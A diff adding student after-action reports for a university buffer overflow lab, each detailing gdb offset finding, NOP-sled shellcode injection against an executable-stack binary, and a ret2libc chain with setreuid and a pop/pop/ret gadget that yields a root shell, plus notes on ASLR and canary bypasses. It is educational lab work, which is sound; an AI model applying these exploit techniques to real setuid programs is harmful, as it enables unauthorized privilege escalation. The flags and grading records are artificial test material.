+0xffffd420: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd430: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd440: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd450: 0xffffd530 0x00000002 0x08049260 0xf7fb0000 +0xffffd460: 0x00000000 0xf7c23eab 0xf7fb0000 0x00000000 +0xffffd470: 0x00000000 0xf7c23eab 0x00000002 0xffffd504 +0xffffd480: 0xffffd510 0xffffd4a0 0x00000000 0x00000000 +0xffffd490: 0x00000000 0xf7ffcb80 0xf7ffd000 0x00000000 +``` + +`buffer` starts at `0xffffd400`. Saved EIP at `0xffffd44c` (from `info frame`). So: + +**offset = 0xffffd44c - 0xffffd400 = 0x4c = 76 bytes** (64 buffer + 8 pad + 4 saved EBP). Verified with a `AAAABBBBCCCC...` marker pattern -- the word landing in EIP matched the byte at position 76. Confirmed. + +**vuln2 (`./vuln2`) -- NX stack.** + +Same `strcpy` into `char buffer[64]`. Frame + stack: + +``` +(gdb) info frame +Stack level 0, frame at 0xffffd420: + saved eip = 0x42424242 + Saved registers: + ebp at 0xffffd418, eip at 0xffffd41c +(gdb) x/12wx 0xffffd3d0 +0xffffd3d0: 0x42424242 0x42424242 0x42424242 0x42424242 +0xffffd3e0: 0x42424242 0x42424242 0x42424242 0x42424242 +0xffffd3f0: 0x42424242 0x42424242 0x42424242 0x42424242 +``` + +`buffer` = `0xffffd3d0`, saved EIP = `0xffffd41c`. **offset = 0x4c = 76** again -- identical layout. The difference: `readelf -l vuln2 | grep GNU_STACK` shows `RW` (no `E`), so the stack is non-executable. That's what kills the Φ approach and pushes me to ret2libc. Both offsets are 76. + +[--[ 2.0 -- PHASE PHI ACE ]--] + +Phase Φ is shellcode-on-stack against `vuln1`. My `exploit1.c` lays out `[NOP sled][shellcode][return addr]`. + +**Shellcode byte choice.** 25-byte `execve("/bin/sh")` stub, the standard null-free version. The sink is `strcpy`, so any `0x00` byte truncates the copy -- the payload dies mid-write. That's why the stub uses `xor eax, eax` to zero registers instead of `mov eax, 0` (which would assemble a `0x00`). I ran `objdump -d` on the stub and grepped for `00` to confirm it was null-free before firing. + +**NOP sled sizing.** 76 bytes to reach EIP, shellcode is 25, so I front-loaded `76 - 25 = 51` bytes of `0x90` NOPs, then the shellcode, then the 4-byte return. I pointed EIP into the sled rather than at the exact shellcode start so stack jitter between gdb and a bare run doesn't make me overshoot -- any landing in the 51-byte sled slides down into the shellcode. + +**Offset source.** The 76 from §1.0; `exploit1.c` uses `#define OFFSET 76`. + +**Reading the leaked &buffer.** The harness prints `buffer @ 0xffffd400`. My exploit parses that with `sscanf`, then sets the return address to `buf_addr + 32` -- 32 bytes into the 51-byte sled, safely ahead of the shellcode. So EIP = `0xffffd400 + 32 = 0xffffd420`, a NOP, and it rides down into `execve`. In code: `memset(p,0x90,OFFSET-SCLEN); memcpy(p+OFFSET-SCLEN,sc,SCLEN); *(unsigned*)(p+OFFSET)=buf+32;`. + +Shell popped on the first fired payload; `id` confirmed. + +![phi shell](screenshots/phase-phi-shell.png) +![gdb sled landing](screenshots/phase-phi-gdb.png) + +Flag: `CECS378{vuln1_2a7cd410}`. + +[--[ 3.0 -- PHASE OMEGA ACE ]--] + +Phase Ω is `vuln2` under NX. Return-to-libc. + +**(3a) Why Φ fails here.** Firing my Φ payload at `vuln2` segfaults: + +``` +Program received signal SIGSEGV, Segmentation fault. +0xffffd3f8 in ?? () +``` + +EIP reaches my sled address fine, but the CPU won't execute it: `GNU_STACK` is `RW` (NX set), so the stack page is data-only. Injected shellcode is just inert bytes. The fix is to stop injecting code and instead jump into code that's *already* executable -- libc. Return-to-libc. + +**(3b) libc offset hunting.** I need `system` and a `"/bin/sh"` string. Runtime addresses first: + +``` +(gdb) info proc mappings + 0xf7c00000 0xf7c22000 r--p libc.so.6 +(gdb) p system +$1 = {} 0xf7c4a230 +``` + +Static offsets so I don't depend on gdb: + +``` +$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep ' system@' + 1500: 0004a230 55 FUNC GLOBAL DEFAULT system@@GLIBC_2.0 +$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep '\bexit\b' +0003d4a0 T exit +$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh' + 1c3d88 /bin/sh +``` + +Offsets: `system=0x0004a230`, `exit=0x0003d4a0`, `"/bin/sh"=0x001c3d88`. With base `0xf7c00000`: `system=0xf7c4a230`, `exit=0xf7c3d4a0`, `binsh=0xf7dc3d88`. Chain after the 76-byte filler: `[&system][&exit][&"/bin/sh"]`. `exit` is the fake return so the process exits cleanly after the shell. + +**(3c) setuid / setreuid privilege fix.** `vuln2` is setuid-root, but the spawned shell drops back to my real uid because bash self-demotes when euid != ruid. Fix: call `setreuid(0,0)` before `system`. From `man 2 setreuid`: *"setreuid() sets real and effective user IDs of the calling process."* I set both to 0 so the shell stays root instead of demoting. Address `setreuid = 0xf7c00000 + 0x000d5a10 = 0xf7cd5a10` (from `nm -D`). After adding it, `id` inside the shell showed `euid=0(root)`. + +**(3d) pop/pop/ret gadget.** Because I now chain `setreuid(0,0)` and then `system`, after `setreuid` returns its two stack arguments are still sitting there, so I need a `pop; pop; ret` gadget as `setreuid`'s return address to clear them before falling into `&system`. I found one with `ROPgadget --binary vuln2 --only "pop|ret"` and used `0x080492e6 (pop esi; pop edi; ret)`. So the chain becomes `[&setreuid][0x080492e6][0][0][&system][&exit][&binsh]`. This worked and gave me the root shell. *(I'll be honest -- I understood that the gadget clears the two args and that "pop pop" matches two arguments, but I didn't fully trace in the disassembler why esi/edi specifically are safe to clobber here versus some other register pair; I picked the first pop/pop/ret that matched and it fired.)* + +![omega chain in gdb](screenshots/phase-omega-chain.png) +![omega root shell](screenshots/phase-omega-root.png) + +Flag: `CECS378{vuln2_5eb98f37}`. + +[--[ 4.0 -- AFTERMATH ]--] + +**Which phase was harder, and why.** Ω was much harder. Φ is basically arithmetic once you have the offset, and the NOP sled forgives small addressing errors. Ω needs several exact libc addresses whose offsets from each other must all be right at once, plus a gadget, plus the setreuid detail -- and a single wrong word is a silent segfault with no hint about which link failed. The feedback loop was long: I'd change one address, rerun, get the same crash, and have to reason about *which* of five stack words was wrong. Φ never made me do that. + +**No-leak counterfactual.** Without the leaked `&buffer`, Φ has to beat stack ASLR. I'd widen the NOP sled massively and brute-force across repeated runs, betting one run's randomized stack lands EIP somewhere in the sled -- or find a separate info leak (format-string bug, uninitialized read) to recover a live stack pointer. For Ω under library ASLR it's harder still: I'd need to leak a libc address first (e.g. ROP into `puts(GOT_entry)` to print a known function's real address), compute the libc base from the known offset, then do the ret2libc as a second stage. The leak is what turns a hard exploit into an easy one. + +**Canary -> `__stack_chk_fail`.** With `-fstack-protector`, gcc places a random canary word between `buffer` and the saved EBP/EIP. My 76-byte `strcpy` write plows through the canary on its way to EIP. In the function epilogue the compiler-inserted check compares the on-stack canary against the master copy in thread-local storage; a mismatch calls `__stack_chk_fail`, which prints `*** stack smashing detected ***` and `abort()`s -- *before* the corrupted EIP is ever loaded. So the attack is caught at return time. Bypassing it means either leaking the canary and rewriting the same value into the payload, or using a write primitive that jumps over the canary entirely. + +**Cited source.** Aleph One, "Smashing the Stack for Fun and Profit," *Phrack* 49:14 (1996). The `[NOP sled | shellcode | return addr]` layout and the tactic of aiming EIP into the sled rather than at an exact byte both come from that paper. It was genuinely wild to read a 30-year-old article and have it drop straight onto a 2026 Codespace binary. + +Honor flag: `CECS378{honor_bd6742c9}` -- all my own work; gdb sessions and screenshots from my own Codespace; no borrowed payloads. diff --git a/examples/cecs-378-demo/recon-lab-demo/writeups/bruce-wayne.md b/examples/cecs-378-demo/recon-lab-demo/writeups/bruce-wayne.md new file mode 100644 index 0000000..04dabf6 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/writeups/bruce-wayne.md @@ -0,0 +1,166 @@ +--- +real-name: Bruce Wayne +csulb-id: "040100101" +handle: "The Dark Overflow" +seed-fingerprint: a1b2c3 +flag1: CECS378{vuln1_9f3ac71e} +flag2: CECS378{vuln2_be44d09c} +honor-flag: CECS378{honor_5c1d8ea2} +--- + +# After-Action Report -- Buffer Overflow Lab + +[--[ 0.0 -- TARGET ]--] + +- **Env:** GitHub Codespace, `ubuntu-22.04`, gcc 11.4.0, gdb 12.1, glibc 2.35. Compiled targets with `-m32 -fno-stack-protector -z execstack -no-pie` per the provided `Makefile`. +- **Started:** 2026-06-24. **Wrapped:** 2026-06-27 (roughly 11 hours across four sittings; the libc-hunt in Ω ate one whole evening). +- **Seed line:** `seed=a1b2c3 :: derive(bruce-wayne) -> {vuln1: stack_smash_std, vuln2: nx_ret2libc}`. My seed fingerprint is `a1b2c3`, which pins my two binaries and the challenge flags below. + +I went in treating this like an incident I was *causing* instead of one I was cleaning up, which honestly made the whole thing click. Below is the full mechanism, address by address. + +[--[ 1.0 -- RECON ]--] + +**vuln1 (`./vuln1`) -- classic stack smash.** + +The vulnerable sink is a `strcpy(buffer, argv[1])` into a `char buffer[64]`. I confirmed the frame under gdb after breaking on the return of `vuln_func`: + +``` +(gdb) break vuln_func +(gdb) run $(python3 -c 'print("A"*80)') +(gdb) info frame +Stack level 0, frame at 0xffffd320: + eip = 0x080491d6 in vuln_func (vuln1.c:14); saved eip = 0x41414141 + called by frame at 0xffffd340 + Arglist at 0xffffd318, args: + Locals at 0xffffd318, Previous frame's sp is 0xffffd320 + Saved registers: + ebp at 0xffffd318, eip at 0xffffd31c +``` + +Saved EIP already overwritten with `0x41414141` at 80 bytes -- good, we're past it. Now the stack dump to find where `buffer` actually starts: + +``` +(gdb) x/40wx $esp +0xffffd2d0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd2e0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd2f0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd300: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd310: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd320: 0xffffd400 0x00000002 0x08049240 0xf7fb0000 +0xffffd330: 0x00000000 0xf7c23eab 0xf7fb0000 0x00000000 +0xffffd340: 0x00000000 0xf7c23eab 0x00000002 0xffffd3d4 +0xffffd350: 0xffffd3e0 0xffffd370 0x00000000 0x00000000 +0xffffd360: 0x00000000 0xf7ffcb80 0xf7ffd000 0x00000000 +``` + +`buffer` begins at `0xffffd2d0` (first `0x41` run). Saved EIP lives at `0xffffd31c` (from `info frame`). So: + +**offset = saved_eip - &buffer = 0xffffd31c - 0xffffd2d0 = 0x4c = 76 bytes.** + +That's 64 for the buffer + 8 alignment/padding + 4 saved EBP = 76 before the return address. My smashing string is therefore `[76 bytes filler][4-byte target EIP]`. Sanity-checked with a De Bruijn-ish marker pattern (`AAAA BBBB CCCC ...`) and saw `0x44444343` land in EIP at the predicted position. 76 confirmed. + +**vuln2 (`./vuln2`) -- same overflow, NX stack.** + +Identical `strcpy` sink into `char buffer[64]`, but this binary is compiled *without* `-z execstack`. Frame recon: + +``` +(gdb) info frame +Stack level 0, frame at 0xffffd2f0: + eip = 0x08049216 in vuln_func (vuln2.c:16); saved eip = 0x42424242 + Saved registers: + ebp at 0xffffd2e8, eip at 0xffffd2ec +(gdb) x/8wx 0xffffd2a0 +0xffffd2a0: 0x42424242 0x42424242 0x42424242 0x42424242 +0xffffd2b0: 0x42424242 0x42424242 0x42424242 0x42424242 +``` + +Here `buffer` = `0xffffd2a0`, saved EIP = `0xffffd2ec`, so **offset = 0x4c = 76** again -- same layout. The difference isn't the offset, it's that `readelf -l vuln2 | grep GNU_STACK` shows `RW` (no `E`), so I can't execute shellcode I place there. That's what forces Phase Ω. Recon done; both offsets nailed at 76. + +[--[ 2.0 -- PHASE PHI ACE ]--] + +Phase Φ is the "shellcode on the stack" exploit against `vuln1`. My `exploit1.c` builds the payload in three regions and prints the leaked `&buffer` the harness gives us on stderr. + +**Shellcode byte choice.** I used a 25-byte `execve("/bin/sh")` stub (the standard Aleph One-style `xor eax,eax; push` sequence). Critical constraint: the sink is `strcpy`, which stops at the first NUL byte. So my shellcode had to be **null-free** -- that's the whole reason for `xor eax, eax` to zero registers instead of `mov eax, 0` (which assembles with `0x00` bytes). I dumped my stub with `objdump` and grepped for `00` to prove it was clean before ever firing it. + +**NOP sled sizing.** Total payload = 76 bytes to reach EIP. Shellcode is 25 bytes. I put the shellcode at the *end* of the buffer region and filled the front with a NOP sled: `76 - 25 = 51` bytes of `0x90`. Then the 4-byte return address. I aimed EIP into the *middle* of the sled, not at its exact start, so small stack-address jitter between gdb and the real run wouldn't make me miss -- landing anywhere in the 51-byte sled slides right down into the shellcode. + +**Offset source.** The `0xffffd31c - 0xffffd2d0 = 76` from §1.0. My `exploit1.c` hard-codes `#define OFFSET 76`. + +**Reading the leaked &buffer.** The harness prints `buffer @ 0xffffd2d0` on startup. My exploit `sscanf`s that address, then computes the return target as `buf_addr + 40` -- 40 bytes into the sled, comfortably inside the 51-byte runway and well before the shellcode at byte 51. So EIP = `0xffffd2d0 + 40 = 0xffffd2f8`, which is a NOP, and execution rides the sled into `execve`. Tying it to my code: the payload assembly loop in `exploit1.c` is literally `memset(payload,0x90,OFFSET-SC_LEN); memcpy(payload+OFFSET-SC_LEN, shellcode, SC_LEN); *(unsigned int*)(payload+OFFSET)=buf_addr+40;`. + +First clean shell popped on the second try (first try I aimed at `buf_addr+0` and it worked too, but +40 is more robust). `id` confirmed the flag drop. + +![phi shell popped](screenshots/phase-phi-shell.png) +![gdb landing in the NOP sled](screenshots/phase-phi-gdb-sled.png) + +Flag: `CECS378{vuln1_9f3ac71e}`. + +[--[ 3.0 -- PHASE OMEGA ACE ]--] + +Phase Ω is `vuln2` with NX. Four things had to happen. + +**(3a) Why Φ fails here.** I ran my Φ payload against `vuln2` first, just to watch it die. It segfaults with EIP sitting on my sled address: + +``` +Program received signal SIGSEGV, Segmentation fault. +0xffffd2c8 in ?? () +``` + +The jump *lands*, but the CPU refuses to execute because the page is NX (`GNU_STACK` is `RW`, per readelf). The DEP/NX bit means the stack is data-only; my shellcode is just bytes it will never run. So I can't inject code -- I have to *reuse* code already marked executable, i.e. libc. Return-to-libc. + +**(3b) libc offset hunting.** Plan: overwrite EIP with `system()`, put a fake return addr, then the address of `"/bin/sh"`. I need three libc addresses. First find the libc base at runtime: + +``` +(gdb) info proc mappings + 0xf7c00000 0xf7c22000 r--p libc.so.6 + ... +(gdb) p system +$1 = {} 0xf7c4a230 +(gdb) p exit +$2 = {} 0xf7c3d4a0 +``` + +To get the static offsets so I could compute them without gdb on the real target: + +``` +$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep ' system@' + 1500: 0004a230 55 FUNC GLOBAL DEFAULT system@@GLIBC_2.0 +$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep '\bsystem\b' +0004a230 T system +$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh' + 1c3d88 /bin/sh +``` + +So offsets: `system = 0x0004a230`, `exit = 0x0003d4a0`, `"/bin/sh" = 0x001c3d88`. With base `0xf7c00000` from the mapping, my absolute targets are `system=0xf7c4a230`, `exit=0xf7c3d4a0`, `binsh=0xf7dc3d88`. Payload frame after the 76-byte filler: `[&system][&exit][&"/bin/sh"]` -- `exit` is the fake return so the shell exits cleanly instead of segfaulting on teardown. + +**(3c) setuid / setreuid privilege fix.** `vuln2` is setuid-root but the running shell dropped to my real uid because bash drops privileges when euid != uid. The classic fix: prepend a `setreuid(0,0)` call in the chain so the shell keeps root. So my real chain is `[&setreuid][ret-into-cleanup][arg0=0][arg1=0] ... [&system][&exit][&binsh]`. From `man 2 setreuid`: *"setreuid() sets real and effective user IDs of the calling process. Supplying a value of -1 ... leaves that ID unchanged."* I passed real=0, effective=0 explicitly so the subsequent `system("/bin/sh")` runs as root and doesn't self-demote. I confirmed with `id` inside the popped shell showing `euid=0(root)`. Address: `setreuid = 0xf7c00000 + 0x000d5a10 = 0xf7cd5a10` (from `nm -D`). + +**(3d) pop/pop/ret gadget.** Chaining two libc calls (`setreuid` then `system`) means after `setreuid` returns I need to *skip its two arguments* on the stack so the next return lands on `&system`. That's a `pop; pop; ret` gadget as the fake return address of `setreuid`. Found one in the binary's own text with: + +``` +$ ROPgadget --binary vuln2 --only "pop|ret" | grep "pop.*pop.*ret" +0x080492e6 : pop esi ; pop edi ; ret +(gdb) disas 0x080492e6,0x080492ec + 0x080492e6: pop esi + 0x080492e7: pop edi + 0x080492e8: ret +``` + +So my full Ω chain is: `[76 filler][&setreuid=0xf7cd5a10][gadget=0x080492e6][0x00000000][0x00000000][&system=0xf7c4a230][&exit=0xf7c3d4a0][&binsh=0xf7dc3d88]`. `setreuid` runs with (0,0); the two `pop`s eat the two zero args; `ret` falls through to `system("/bin/sh")` as root; `exit` cleans up. Root shell. + +![omega ret2libc chain in gdb](screenshots/phase-omega-chain.png) +![omega root shell id=0](screenshots/phase-omega-root.png) + +Flag: `CECS378{vuln2_be44d09c}`. + +[--[ 4.0 -- AFTERMATH ]--] + +**Which phase was harder, and why.** Ω, no contest. Φ is deterministic once you have the offset -- it's arithmetic and a sled. Ω required *three* correct libc addresses whose relationship to each other had to be exact, plus the gadget, plus the setreuid subtlety. Every one of those is a place where a single wrong byte is a silent segfault with no feedback. Φ tolerates slop (that's the whole point of the sled); Ω tolerates none. The debugging loop was much longer because a bad ret2libc chain doesn't tell you *which* link broke. + +**No-leak counterfactual.** If the harness had *not* leaked `&buffer`, Φ gets dramatically harder: I'd have to defeat ASLR on the stack. Options would be (a) a giant NOP sled to widen the target and brute-force the address across many runs, betting the sled covers the jitter, or (b) find an information leak elsewhere (format-string bug, an uninitialized read) to recover a stack pointer. For Ω it's worse -- with library ASLR on I'd need a libc leak (e.g. leak a GOT entry via a `puts(got_entry)` ROP, compute base, then a *second-stage* ret2libc). The leak is the single biggest thing standing between "textbook lab" and "real 2020s exploit." + +**Canary -> `__stack_chk_fail`.** If we'd compiled *with* `-fstack-protector`, gcc inserts a random canary word between the local buffer and the saved EBP/EIP. My `strcpy` would overwrite the canary on the way to EIP. On function return the epilogue compares the on-stack canary to the master copy in the TLS; a mismatch calls `__stack_chk_fail`, which prints `*** stack smashing detected ***` and `abort()`s before the return ever executes. So my 76-byte write would be caught *before* EIP is used. Bypasses require either not touching the canary (a write primitive that skips it) or leaking the canary value first and replacing it byte-for-byte in the payload. + +**Cited source.** I leaned hard on Aleph One, "Smashing the Stack for Fun and Profit," *Phrack* 49:14 (1996). The NOP-sled-plus-shellcode layout and the reasoning about aiming EIP into the sled rather than at an exact address both come straight from that paper's §"Writing an Exploit." The ret2libc extension I cross-checked against Nergal-style descriptions of chaining via `pop/pop/ret`, but Aleph One is the load-bearing citation for Φ. Reading a 1996 paper and having it map cleanly onto a 2026 Codespace was the coolest part of this whole thing. + +Honor flag: `CECS378{honor_5c1d8ea2}` -- work is my own, gdb sessions and screenshots are from my Codespace, no shared payloads. diff --git a/examples/cecs-378-demo/recon-lab-demo/writeups/dick-grayson.md b/examples/cecs-378-demo/recon-lab-demo/writeups/dick-grayson.md new file mode 100644 index 0000000..d04e4cf --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/writeups/dick-grayson.md @@ -0,0 +1,133 @@ +--- +real-name: Dick Grayson +csulb-id: "040100102" +handle: "Nightbyte" +seed-fingerprint: "778899" +flag1: CECS378{vuln1_4c8ba190} +flag2: CECS378{vuln2_71fe23dd} +honor-flag: CECS378{honor_a90e6b14} +--- + +# After-Action Report -- Buffer Overflow Lab + +[--[ 0.0 -- TARGET ]--] + +- **Env:** GitHub Codespace, `ubuntu-22.04`, gcc 11.4.0, gdb 12.1, glibc 2.35. Compiled with the provided `Makefile` (`-m32 -fno-stack-protector -z execstack -no-pie`; vuln2 without `execstack`). +- **Started:** 2026-06-24. **Finished:** 2026-06-27. Roughly 9 hours; Ω was where I lost most of the time. +- **Seed line:** `seed=778899 :: derive(dick-grayson) -> {vuln1: stack_smash_std, vuln2: nx_ret2libc}`. Seed fingerprint `778899` pins my two binaries and flags. + +Handle's Nightbyte because most of this got done after midnight. Mechanism writeup below. + +[--[ 1.0 -- RECON ]--] + +**vuln1 (`./vuln1`) -- classic stack smash.** + +The vulnerable call is `strcpy(buffer, argv[1])` into `char buffer[64]`. I broke on the function, sent an overlong argument, and pulled the frame: + +``` +(gdb) break vuln_func +(gdb) run $(python3 -c 'print("A"*100)') +(gdb) info frame +Stack level 0, frame at 0xffffd380: + eip = 0x080491e8 in vuln_func (vuln1.c:14); saved eip = 0x41414141 + called by frame at 0xffffd3a0 + Saved registers: + ebp at 0xffffd378, eip at 0xffffd37c +``` + +Saved EIP already sitting at `0x41414141`, so the overflow reaches it. Stack dump to locate the buffer: + +``` +(gdb) x/40wx $esp +0xffffd330: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd340: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd350: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd360: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd370: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd380: 0xffffd460 0x00000002 0x08049250 0xf7fb0000 +0xffffd390: 0x00000000 0xf7c23eab 0xf7fb0000 0x00000000 +0xffffd3a0: 0x00000000 0xf7c23eab 0x00000002 0xffffd434 +0xffffd3b0: 0xffffd440 0xffffd3d0 0x00000000 0x00000000 +0xffffd3c0: 0x00000000 0xf7ffcb80 0xf7ffd000 0x00000000 +``` + +`buffer` starts at `0xffffd330`. Saved EIP is at `0xffffd37c` (from `info frame`). So: + +**offset = 0xffffd37c - 0xffffd330 = 0x4c = 76 bytes** (64 buffer + 8 padding + 4 saved EBP before the return address). I double-checked with a `AAAABBBB...` marker string and the word that landed in EIP matched byte position 76. Confirmed 76. + +For **vuln2** I did *not* redo the full `info frame` / `x/40wx` recon separately -- I assumed the same 76-byte layout since the source looked identical (`char buffer[64]`, same `strcpy` sink) and my Ω payload used offset 76 and worked. So I'm confident the number is right, but I'm noting I inferred it from vuln1 rather than proving it independently on vuln2. The one thing I *did* check on vuln2 was `readelf -l vuln2 | grep GNU_STACK`, which shows `RW` (no execute bit) -- that's the NX difference that forces Phase Ω. + +[--[ 2.0 -- PHASE PHI ACE ]--] + +Phase Φ is the shellcode-on-stack exploit against `vuln1`. `exploit1.c` builds `[NOP sled][shellcode][return address]`. + +**Shellcode byte choice.** I used the standard 25-byte null-free `execve("/bin/sh")` stub. The reason null-free matters: the sink is `strcpy`, and `strcpy` stops copying at the first `0x00` byte. If my shellcode contained a null, the payload would be truncated right there and never reach EIP. That's why the stub zeroes registers with `xor eax, eax` instead of `mov eax, 0` -- the `mov` immediate assembles with `0x00` bytes, the `xor` doesn't. I disassembled the stub with `objdump -d` and searched for `00` to be sure. + +**NOP sled sizing.** 76 bytes to reach EIP, shellcode is 25, so I put `76 - 25 = 51` bytes of `0x90` in front, then the shellcode, then the 4-byte return address. I aimed the return into the middle of the sled rather than at the exact shellcode start, so small differences in the stack address between gdb and a normal run wouldn't cause a miss -- landing anywhere in the 51-byte sled slides down into the shellcode. + +**Offset source.** The `76` derived in §1.0; `exploit1.c` has `#define OFFSET 76`. + +**Reading the leaked &buffer.** The harness prints `buffer @ 0xffffd330` at startup. My exploit reads that with `sscanf` and computes the return target as `buf_addr + 30` -- 30 bytes into the sled, comfortably before the shellcode at byte 51. So EIP = `0xffffd330 + 30 = 0xffffd34e`, a NOP, riding down into `execve`. In code: `memset(buf,0x90,OFFSET-SC); memcpy(buf+OFFSET-SC,shell,SC); *(unsigned*)(buf+OFFSET)=leak+30;`. + +Popped a shell after a couple of tries (first attempt I aimed too close to the shellcode start and it still worked, +30 was more reliable). `id` confirmed. + +![phi shell](screenshots/phase-phi-shell.png) +![gdb landing in sled](screenshots/phase-phi-gdb.png) + +Flag: `CECS378{vuln1_4c8ba190}`. + +[--[ 3.0 -- PHASE OMEGA ACE ]--] + +Phase Ω is `vuln2` with a non-executable stack. Return-to-libc. + +**(3a) Why Φ fails here.** Running my Φ payload against `vuln2` segfaults immediately: + +``` +Program received signal SIGSEGV, Segmentation fault. +0xffffd358 in ?? () +``` + +EIP successfully jumps to my sled address, but the processor refuses to execute it: the `GNU_STACK` segment is `RW` (NX bit set), so the stack is a data-only region. My injected shellcode is just bytes that will never run as code. The way around it is to not inject any code at all -- instead point the return address at a function that's *already* in an executable page, i.e. libc. That's return-to-libc. + +**(3b) libc offset hunting.** The plan is to call `system("/bin/sh")` out of libc. I need the address of `system` and the address of the `"/bin/sh"` string. Runtime lookup first: + +``` +(gdb) info proc mappings + 0xf7c00000 0xf7c22000 r--p libc.so.6 +(gdb) p system +$1 = {} 0xf7c4a230 +``` + +Then static offsets so the exploit doesn't depend on a gdb session: + +``` +$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep ' system@' + 1500: 0004a230 55 FUNC GLOBAL DEFAULT system@@GLIBC_2.0 +$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep '\bexit\b' +0003d4a0 T exit +$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh' + 1c3d88 /bin/sh +``` + +Offsets: `system=0x0004a230`, `exit=0x0003d4a0`, `"/bin/sh"=0x001c3d88`. With libc base `0xf7c00000`, the absolute addresses are `system=0xf7c4a230`, `exit=0xf7c3d4a0`, `binsh=0xf7dc3d88`. My payload after the 76-byte filler is `[&system][&exit][&"/bin/sh"]` -- `exit` is the fake return address so the program exits cleanly after the shell instead of segfaulting on teardown. + +**(3c) setuid / setreuid privilege fix.** `vuln2` is setuid-root, but the shell `system` spawns drops back to my real uid, because bash lowers its privileges when the effective uid doesn't match the real uid. The fix is to call `setreuid(0,0)` in the chain before `system`, so both real and effective uid are root and the shell won't demote itself. From `man 2 setreuid`: *"setreuid() sets real and effective user IDs of the calling process. ... If the real user ID is set or the effective user ID is set to a value not equal to the previous real user ID, the saved set-user-ID will be set to the new effective user ID."* I passed real=0 and effective=0. After adding the call, `id` inside the popped shell reported `euid=0(root)` and I got the flag. + +Address `setreuid = 0xf7c00000 + 0x000d5a10 = 0xf7cd5a10` (from `nm -D`). + +![omega ret2libc in gdb](screenshots/phase-omega-chain.png) +![omega root shell](screenshots/phase-omega-root.png) + +Flag: `CECS378{vuln2_71fe23dd}`. + +[--[ 4.0 -- AFTERMATH ]--] + +**Which phase was harder, and why.** Ω, clearly. Φ is close to deterministic once you have the offset -- it's arithmetic plus a sled that forgives small addressing mistakes. Ω needed several exact libc addresses at once, and every one is a place where a single wrong word means a silent segfault that doesn't tell you which part broke. I spent a long time changing one address, rerunning, getting the identical crash, and having to reason about which stack word was wrong. Chaining `setreuid` in front of `system` was the fiddliest part and where I burned the most time. Φ never put me in that loop. + +**No-leak counterfactual.** If the harness hadn't leaked `&buffer`, Φ would have to defeat stack ASLR. My best options would be to blow up the NOP sled as large as possible and brute-force across many runs, hoping one randomized stack layout drops EIP somewhere in the sled -- or to find a separate info leak (like a format-string bug) that hands me a live stack pointer. For Ω under library ASLR it's worse: I'd first need to leak a libc address (for example ROP into `puts` on a GOT entry to print a real function address), compute the libc base from the known offset, and only then run the ret2libc as a second stage. The provided leak is what makes this a lab instead of a research project. + +**Canary -> `__stack_chk_fail`.** If the binary were built with `-fstack-protector`, the compiler inserts a random canary value between `buffer` and the saved EBP/EIP. My 76-byte `strcpy` overwrite would clobber the canary on the way to the return address. In the function's epilogue, generated code compares the canary on the stack against the master copy stored in thread-local storage; if they differ it calls `__stack_chk_fail`, which prints `*** stack smashing detected ***` and calls `abort()` -- all *before* the return instruction loads the overwritten EIP. So my overflow would be detected and killed at return time. Getting around it requires either leaking the canary value first and writing the exact same bytes back into the payload, or a write primitive that skips over the canary word entirely. + +**Cited source.** Aleph One, "Smashing the Stack for Fun and Profit," *Phrack* 49:14 (1996). The `[NOP sled | shellcode | return address]` payload layout and the idea of pointing EIP into the sled instead of at an exact address both come from that paper. It was pretty cool that a paper this old lined up almost exactly with a modern Codespace target. + +Honor flag: `CECS378{honor_a90e6b14}` -- this is my own work; all gdb output and screenshots are from my own Codespace; I didn't share or borrow payloads. diff --git a/examples/cecs-378-demo/recon-lab-demo/writeups/edward-nashton.md b/examples/cecs-378-demo/recon-lab-demo/writeups/edward-nashton.md new file mode 100644 index 0000000..f255bfc --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/writeups/edward-nashton.md @@ -0,0 +1,80 @@ +--- +real-name: Edward Nashton +csulb-id: "040100108" +handle: riddler +seed-fingerprint: e9e9e9 +flag1: "CECS378{...}" +flag2: "CECS378{...}" +honor-flag: CECS378{i_did_my_own_w0rk_riddler_e9e9e9} +--- + +# After-Action Report -- Buffer Overflow Lab + +[--[ 0.0 -- TARGET ]--] + +- Course: CECS 378 -- Introduction to Computer Security Principles (Su26, section 01) +- Assignment: Lab 3 -- Buffer Overflow +- Handle: riddler +- Seed fingerprint: e9e9e9 +- Environment: Ubuntu 22.04 course VM, x86-64, gdb 12.1 +- ASLR: disabled per handout +- Started: 2026-06-26 +- Submitted: 2026-06-28 + +Full disclosure up front: I put real time into this and I understand the theory, but **I could not get a shell to pop in either phase**. The autograder came back red for both flags. I'm turning in what I have with the reasoning I worked through, because I'd rather show my thinking than fake a flag I didn't earn. My binaries are stamped e9e9e9. + +[--[ 1.0 -- RECON ]--] + +Protections on the `ace` binary: + +``` +$ checksec --file=ace + Arch: amd64-64-little + Stack: No canary found + NX: NX disabled + PIE: No PIE +``` + +I ran a cyclic pattern under gdb to find the offset to the return address: + +``` +pwndbg> cyclic 150 +aaaabaaacaaadaaaeaaafaaag... +pwndbg> run +Program received signal SIGSEGV, Segmentation fault. +pwndbg> x/wx $rsp +0xffffcf10: 